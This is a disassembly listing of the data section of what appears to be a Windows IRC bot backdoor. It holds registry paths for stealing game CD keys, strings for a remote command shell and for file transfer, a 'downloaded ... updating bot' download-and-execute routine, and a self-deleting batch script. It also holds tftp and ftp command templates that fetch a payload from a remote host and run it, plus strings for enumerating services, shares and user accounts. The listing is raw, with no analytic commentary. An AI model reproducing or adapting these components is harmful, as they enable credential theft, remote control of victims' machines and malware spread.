aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0
		align 4
aKey3		db 'Key3=',0
		align 8
		dd 80000001h
off_4428FC	dd offset aSoftwareValveC ; DATA XREF: sub_410279+Cr
					; sub_410279+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_442908	dd 2 dup(0)			dd 80000001h, 441A90h, 441AB8h,	441AC4h, 2 dup(0)
		dd 80000001h, 441AD4h, 441AF4h,	441AF8h, 2 dup(0)
		dd 80000001h, 441B0Ch, 441B30h,	441B34h, 2 dup(0)
		dd 80000001h, 441B40h, 441B64h,	441B6Ch, 2 dup(0)
		dd 80000001h, 441B80h, 441B94h,	441BA4h, 2 dup(0)
		dd 80000001h, 441BC0h, 441C04h,	441C0Ch, 2 dup(0)
		dd 80000002h, 441C20h, 441C4Ch,	441C58h, 2 dup(0)
		dd 80000002h, 441C78h, 441CACh,	441CB4h, 2 dup(0)
		dd 80000002h, 441CCCh, 441D00h,	441D08h, 2 dup(0)
		dd 80000002h, 441D20h, 441D38h,	441D40h, 2 dup(0)
		dd 80000002h, 441D58h, 4DD3B4h,	441D94h, 2 dup(0)
		dd 80000002h, 441DA4h, 4DD3B5h,	441DDCh, 2 dup(0)
		dd 80000002h, 441DF0h, 4DD3B6h,	441E3Ch, 2 dup(0)
		dd 80000002h, 441E60h, 4DD3B7h,	441EB0h, 2 dup(0)
		dd 80000002h, 441EDCh, 4DD3B8h,	441F18h, 2 dup(0)
		dd 80000002h, 441F2Ch, 4DD3B9h,	441F64h, 2 dup(0)
		dd 80000002h, 441F78h, 4DD3BAh,	441FC8h, 2 dup(0)
		dd 80000002h, 441FF8h, 4DD3BBh,	442038h, 2 dup(0)
		dd 80000002h, 442054h, 4DD3BCh,	442084h, 2 dup(0)
		dd 80000002h, 4420A4h, 4DD3BDh,	4420E0h, 2 dup(0)
		dd 80000002h, 4420F8h, 4DD3BEh,	442140h, 2 dup(0)
		dd 80000002h, 442160h, 4DD3BFh,	4421B4h, 2 dup(0)
		dd 80000002h, 4421E8h, 4DD3C0h,	442238h, 2 dup(0)
		dd 80000002h, 442264h, 4422A4h,	4422ACh, 2 dup(0)
		dd 80000002h, 4422D0h, 4DD3C1h,	442314h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte ptr aSoftwareEle_14[eax], al ; "Software\\Electronic Arts\\EA GAMES\\Shogu"...
		retn	4DD3h
; ---------------------------------------------------------------------------
		align 4
		dd offset aShogunTotalWar ; "Shogun: Total War:	Warlord	Edition"
		align 10h
		add	al, [eax]
		add	byte ptr aSoftwareEle_15[eax], al ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
		retn
; ---------------------------------------------------------------------------
		db 0D3h, 4Dh, 0
		dd offset aFifa2002	; "FIFA	2002"
		dd 2 dup(0)
		dd 80000002h, 4423E0h, 4DD3C4h,	442414h, 2 dup(0)
		dd 80000002h, 442420h, 4DD3C5h,	442454h, 2 dup(0)
		dd 80000002h, 442460h, 4DD3C6h,	442494h, 2 dup(0)
		dd 80000002h, 4424A0h, 4DD3C7h,	4424DCh, 2 dup(0)
		dd 80000002h, 4424F0h, 4DD3C8h,	44252Ch, 2 dup(0)
		dd 80000002h, 442540h, 442570h,	442578h, 2 dup(0)
		dd 80000002h, 442594h, 4425B4h,	4425BCh, 2 dup(0)
		dd 80000002h, 4425E0h, 4425FCh,	442604h, 2 dup(0)
		dd 80000002h, 442624h, 442644h,	44264Ch, 2 dup(0)
		dd 80000002h, 442670h, 442688h,	442690h, 2 dup(0)
		dd 80000002h, 442694h, 4426B0h,	4426C0h, 2 dup(0)
		dd 80000002h, 4426C8h, 4426FCh,	442700h, 2 dup(0)
		dd 80000002h, 442718h, 442754h,	442760h, 442788h, 442798h
		dd 80000002h, 4427ACh, 4427D0h,	4427DCh, 4427F0h, 442800h
		dd 80000002h, 442808h, 44282Ch,	442838h, 442864h, 442874h
		dd 80000002h, 44287Ch, 4428A0h,	4428ACh, 4428DCh, 4428ECh
		dd 6 dup(0)
dword_442D30	dd 255C7325h	aSr:					; DATA XREF: sub_410279+8Ao
					; sub_410279+E1o ...
		unicode	0, <sr==>
dword_442D3C	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_410279+101o
		dd 0
dword_442D54	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_410279+11Bo
		dd 0
dword_442D6C	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_410279+167o
		dd 0
unk_442D84	db  2Dh	; -		; DATA XREF: sub_4104B2+47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
unk_442DA8	db  2Dh	; -		; DATA XREF: sub_4104B2+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
asc_442DD8:				; DATA XREF: sub_4104B2+138o
		dw 0Ah
		unicode	0, <>,0
unk_442DDC	db  2Dh	; -		; DATA XREF: sub_4104B2+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 10h
unk_442E10	db  2Dh	; -		; DATA XREF: sub_410673+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 4
unk_442E34	db  2Dh	; -		; DATA XREF: sub_410673+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_442E58	db  2Dh	; -		; DATA XREF: sub_410673+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpen_0	db '- failed to open socket',0
		align 4
unk_442E7C	db  2Dh	; -		; DATA XREF: sub_410673+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
dword_442E9C	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_410673+16Ao
		dd 169h
dword_442EB4	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_410673+1CBo
		dd 74756Fh
unk_442ECC	db  2Dh	; -		; DATA XREF: sub_410673+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
unk_442EF0	db  2Dh	; -		; DATA XREF: sub_410673+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
dword_442F1C	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_410673+36Bo
		dd 726F72h
dword_442F34	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_410673+37Co
		dd 726F72h
dword_442F4C	dd 73257325h, 0	unk_442F54	db  2Dh	; -		; DATA XREF: sub_410A18+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_410A18+97o
unk_442F88	db  2Dh	; -		; DATA XREF: sub_410A18+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
unk_442FB4	db  2Dh	; -		; DATA XREF: sub_410A18+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
dword_442FD4	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_410A18+156o
		dd 726F72h
unk_442FEC	db  2Dh	; -		; DATA XREF: sub_410A18+1CFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_443018	db  2Dh	; -		; DATA XREF: sub_410C53+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
unk_443040	db  2Dh	; -		; DATA XREF: sub_410C53+191o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_443068	db  2Dh	; -		; DATA XREF: sub_410C53:loc_410DEBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_443090	db  2Dh	; -		; DATA XREF: sub_410C53+1CDo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_4430BC	db  2Dh	; -		; DATA XREF: sub_410C53+257o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4430E4	db  2Dh	; -		; DATA XREF: sub_410C53+2D6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
aOpen_2		db 'open',0             ; DATA XREF: sub_410C53+32Bo
		align 4
dword_443124	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_410C53+34Do
		dd 25206465h, 73h
unk_443140	db  2Dh	; -		; DATA XREF: sub_410C53+3B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
unk_443184	db  2Dh	; -		; DATA XREF: sub_410C53+472o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4431B8	db  2Dh	; -		; DATA XREF: sub_410C53+480o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
a?:					; DATA XREF: sub_4111E7+1Fo
		unicode	0, <?>,0
off_4431E8	dd offset word_4D4152	; DATA XREF: sub_4111E7:loc_41120Co
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4111E7:loc_411212o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4111E7:loc_411218o
aDisk		db 'Disk',0             ; DATA XREF: sub_4111E7:loc_41121Eo
		align 4
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4111E7:loc_411224o
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_4111E7:loc_41122Ao
aSkb		db '%sKB',0             ; DATA XREF: sub_411278+70o
		align 4
aSkb_0		db '%sKB',0             ; DATA XREF: sub_411278+9Bo
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_411278+C6o
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_411278+E0o
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_411278+F1o
		align 4
aFailed_1	db 'failed',0           ; DATA XREF: sub_411278+102o
		align 4
aFailed_2	db 'failed',0           ; DATA XREF: sub_41139C+3Bo
		align 4
unk_44324C	db  2Dh	; -		; DATA XREF: sub_41139C+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
unk_443288	db  2Dh	; -		; DATA XREF: sub_41139C+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
aA_2		db 'A:\',0              ; DATA XREF: sub_41146E:loc_4114B3o
unk_4432C8	db  2Dh	; -		; DATA XREF: sub_4114F1+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 10h
dword_4432F0	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_4114F1+C5o
		dd 64252064h, 6C696620h, 7365h
dword_443310	dd 2A5C7325h, 0	dword_443318	dd 255C7325h, 73hdword_443320	dd 255C7325h, 73hdword_443328	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_411609+107o
		dd 73252064h, 73255Ch, 0
dword_443348	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_443394	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_4433B0:				; DATA XREF: sub_41178F+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4433C4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41178F+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411B50+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_411C15+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_411C15+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_411C9A+1Co
		align 4
aSS_5		db '%s %s',0            ; DATA XREF: .data:00411D80o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411DBC+2o
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_411DDE+48o
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_411DDE+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411DDE+140o
		align 4
dword_443494	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_411F66+5Co
		dd 65726165h, 64h
unk_4434B0	db  2Dh	; -		; DATA XREF: sub_411F66+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
unk_4434D8	db  2Dh	; -		; DATA XREF: sub_411F66+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .data:004120C6o
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .data:004120EFo
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_412159+47o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_412159+54o
		align 8
aAdd		db 'Add',0              ; DATA XREF: .data:off_443620o
aAdded		db 'Added',0            ; DATA XREF: .data:off_443624o
		align 4
aDelete_1	db 'Delete',0           ; DATA XREF: .data:0044362Co
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:00443630o
aList_1		db 'List',0             ; DATA XREF: .data:00443638o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:0044363Co
		align 4
aStart_0	db 'Start',0            ; DATA XREF: .data:00443644o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00443648o
aStop_0		db 'Stop',0             ; DATA XREF: .data:00443650o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:00443654o
aPause_0	db 'Pause',0
		align 4
aPaused_0	db 'Paused',0
		align 4
aContinue_0	db 'Continue',0
		align 10h
aContinued	db 'Continued',0
		align 10h
off_443620	dd offset aAdd		; DATA XREF: sub_412280+6Dr
					; sub_412667+50r ...
					; "Add"
off_443624	dd offset aAdded	; DATA XREF: sub_412280+2Dr
					; sub_412667+82r ...
					; "Added"
dword_443628	dd 0				dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4435F4h, 4435FCh,	2, 443604h, 443610h, 3
unk_443674	db  2Dh	; -		; DATA XREF: sub_412280+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_443690	db  2Dh	; -		; DATA XREF: sub_412280+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4436BC	db  2Dh	; -		; DATA XREF: sub_412280+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4123A9+3Co
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4123A9:loc_4123EFo
		align 4
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4123A9:loc_4123F9o
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4123A9:loc_412403o
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4123A9:loc_41240Do
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4123A9:loc_412417o
		db 'dependent on it.',0
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4123A9+8Fo
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4123A9:loc_412442o
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4123A9:loc_412449o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4123A9:loc_412450o
		db ' the service.',0
		align 10h
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4123A9:loc_412457o
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4123A9:loc_412482o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4123A9:loc_412489o
		db 'marked for deletion.',0
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4123A9:loc_412490o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4123A9:loc_412497o
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4123A9:loc_41249Eo
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4123A9:loc_4124A5o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4123A9:loc_4124ACo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4123A9:loc_4124B3o
		db 'the state of the service.',0
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4123A9:loc_4124BAo
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4123A9:loc_4124C1o
		align 4
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4123A9+12Co
		align 4
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_412527+25o
		align 4
aUnknown	db '    Unknown',0      ; DATA XREF: sub_412527+9Eo
aPaused		db '     Paused',0      ; DATA XREF: sub_412527:loc_4125CCo
aPausing	db '    Pausing',0      ; DATA XREF: sub_412527:loc_4125D3o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_412527:loc_4125DAo
aRunning	db '    Running',0      ; DATA XREF: sub_412527:loc_4125E1o
aStoping	db '    Stoping',0      ; DATA XREF: sub_412527:loc_4125E8o
aStarting	db '   Starting',0      ; DATA XREF: sub_412527:loc_4125EFo
aStopped	db '    Stopped',0      ; DATA XREF: sub_412527:loc_4125F6o
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_412527+EEo
unk_443C28	db  2Dh	; -		; DATA XREF: sub_412667+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
dword_443C54	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_412667+89o
		dd 73252720h, 27h
unk_443C70	db  2Dh	; -		; DATA XREF: sub_412667+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_41285C+26o
		align 4
unk_443CCC	db  2Dh	; -		; DATA XREF: sub_41285C+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_41285C+B5o
aNo		db 'No',0               ; DATA XREF: sub_41285C+BCo
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41285C+D0o
		align 4
unk_443D14	db  2Dh	; -		; DATA XREF: sub_41297D+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_443D34	db  2Dh	; -		; DATA XREF: sub_41297D+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_443D64	db  2Dh	; -		; DATA XREF: sub_41297D+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_412AC3+50o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_412AC3+81o
		align 4
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_412AC3+ACo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_412AC3+D4o
aUnknown_1	db 'Unknown',0          ; DATA XREF: sub_412AC3+104o
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_412AC3:loc_412BCEo
		align 10h
aUser_3		db 'User',0             ; DATA XREF: sub_412AC3:loc_412BD5o
		align 4
aGuest_0	db 'Guest',0            ; DATA XREF: sub_412AC3:loc_412BDCo
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_412AC3+125o
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_412AC3+14Do
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_412AC3+178o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_412AC3+1A0o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_412AC3+1CBo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_412AC3+1F3o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_412AC3+21Eo
		align 4
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_412AC3+246o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_412AC3+271o
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_412AC3+299o
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_412AC3+2C4o
		align 4
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_412AC3+2ECo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412AC3+317o
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_412AC3+33Fo
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_412AC3+36Ao
		align 4
unk_443F14	db  2Dh	; -		; DATA XREF: sub_412AC3+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_412E91+29o
unk_443F5C	db  2Dh	; -		; DATA XREF: sub_412E91+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aS_29		db '  %S',0             ; DATA XREF: sub_412E91:loc_412F4Bo
		align 4
unk_443F88	db  2Dh	; -		; DATA XREF: sub_412E91:loc_412F7Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_412E91+145o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413007+3Bo
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413007:loc_41304Co
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413007:loc_413056o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413007:loc_413060o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413007:loc_41306Ao
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413007:loc_413074o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413007+89o
		align 4
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413007:loc_41309Ao
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413007:loc_4130A4o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413007:loc_4130ABo
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413007:loc_4130B2o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413007+CFo
		db ' the domain.',0
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413007:loc_4130DDo
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413007:loc_4130E4o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413007:loc_4130EBo
		db 'ord policy requirement.)',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413007:loc_413108o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413007:loc_41310Fo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413007:loc_413116o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413007:loc_41311Do
		align 10h
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413007:loc_413124o
		align 10h
unk_444290	db  2Dh	; -		; DATA XREF: sub_41313B+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_4442B8	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_41313B+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
